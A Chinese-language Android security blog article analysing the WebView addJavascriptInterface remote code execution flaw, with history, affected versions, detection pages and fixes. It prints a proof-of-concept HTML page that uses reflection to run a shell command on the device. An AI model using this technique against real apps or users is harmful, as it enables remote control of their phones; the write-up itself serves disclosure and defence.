Attacks on WebView in the Android System" /> Attacks on WebView in the Android System" />

菜单

微信公众号:Android安全中文站

文章

Home 安卓漏洞攻防 Android WebView 远程代码执行漏洞简析
Home 安卓漏洞攻防 Android WebView 远程代码执行漏洞简析

Android WebView 远程代码执行漏洞简析

安卓漏洞攻防 by

点评:这是很早前自己写的一个报告,一直到现在很多人说到APP+代码执行都会想到这个漏洞。

0x00漏洞原理

Webview类是Android SDK中封装的用于显示网页的组件,通过webview组件应用可以轻松的开发内置浏览器访问网页,同时webview组件中还提供了一些接口实现应用与页面中Javascript脚本的交互,其中用于javascript调用导出的java类的AddJavascripInterface方法被发现存在远程命令执行漏洞,攻击者可以找到存在“getClass”方法的对象,然后通过反射的机制,得到Java Runtime对象,然后调用静态方法来执行系统命令。

用户在使用包含此漏洞的应用访问特定的网页时会执行网页中的恶意代码,可导致手机被远程控制。相关漏洞代码示例如下:

WebView webView = new WebView (R.id.webView1);

webView.getSettings().setJavaScriptEnabled(true);

webView.addJavascriptInterface(new TEST(), “demo”);

webView.loadUrl(“http://127.0.0.1/check.html”);

 

Check.html 代码:

<html>
<script>
function execute(cmd){
return demo.getClass().forName(‘java.lang.Runtime’).getMethod(‘getRuntime’,null).invoke(null,null).exec(cmd);
}
execute([‘/system/bin/sh’,’-c’,’echo  “hello” > /sdcard/check.txt’]);
</script>
</html>

 

调用demo对象的getClass方法得到java.lang.Runtime对象,然后通过java反射机制调用getRuntime方法获得runtime实例,最终通过exec方法执行命令。代码执行成功会在SD卡根目录下生成check.txt文件。

 

0x01漏洞背景

>Attacks on WebView in the Android System http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf

2011年美国Syracuse大学一些安全研究者指出安卓webview组件存在一些安全问题。

>Abusing WebView JavaScript Bridges

LocalBroadcastManager 的实现原理分析

 2012年12月某国外博客指出安卓webview组件的AddJavascripInterface接口存在远程代码执行隐患,并给出了利用代码,但并没有引起广范关注。

>Webview中接口隐患与手机挂马利用

http://drops.wooyun.org/papers/548

国内乌云漏洞平台公开了此漏洞详细报告与利用方法,之后大量热门安卓应用被爆存在远程代码执行漏洞,影响范围巨大。

>CVE-2014-1939

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2014-1939

在Android 4.0-4.3.1版本中,如果调用了webkit引擎系统会默认添加一个叫searchBoxJavaBridge_的接口,同样会造成远程代码执行。

 

0x03 影响范围

安卓设备系统版本在Android 4.2以下的用户

 

0x04检测方法

l 用户检测:

1.腾讯TSRC在线检测页面:http://security.tencent.com/lucky/check_tools.html

使用APP打开此页面,如存在漏洞会提示当前APP存在挂马漏洞。

 

2.乌云知识库在线检测:http://drops.wooyun.org/webview.html,关键代码如下:

<script type=”text/javascript”>

function check()

{

for (var obj in window)

{

try {

if (“getClass” in window[obj]) {

try{

window[obj].getClass();

document.write(‘<span style=”color:red”>’+obj+'</span>’);

document.write(‘<br />’);

}catch(e){

}

}

} catch(e) {

}

}

}

check();

</script>

保存为html文件后用浏览器访问

原理:遍历所有window的对象,然后找到包含getClass方法的对象,如果存在此方法的对象则说明该接口存在漏洞。

 

l  开发人员检测:

检查应用源代码中是否调用Landroid/webkit/WebView类中的addJavascriptInterface方法,是否存在searchBoxJavaBridge_接口

 

0x05 修复方法

l  目标系统在android4.1.1以上的应用采用JavascriptInterface替代原有方法

l 调用removeJavascriptInterface方法删除searchBoxJavaBridge_接口

l  对载入的URL设定信任域,防止恶意页面加载

l 检测返回的页面内容是否包含恶意代码,防止中间人攻击

l  尽量不要使用addJavascriptInterface方法

 

11 2015-02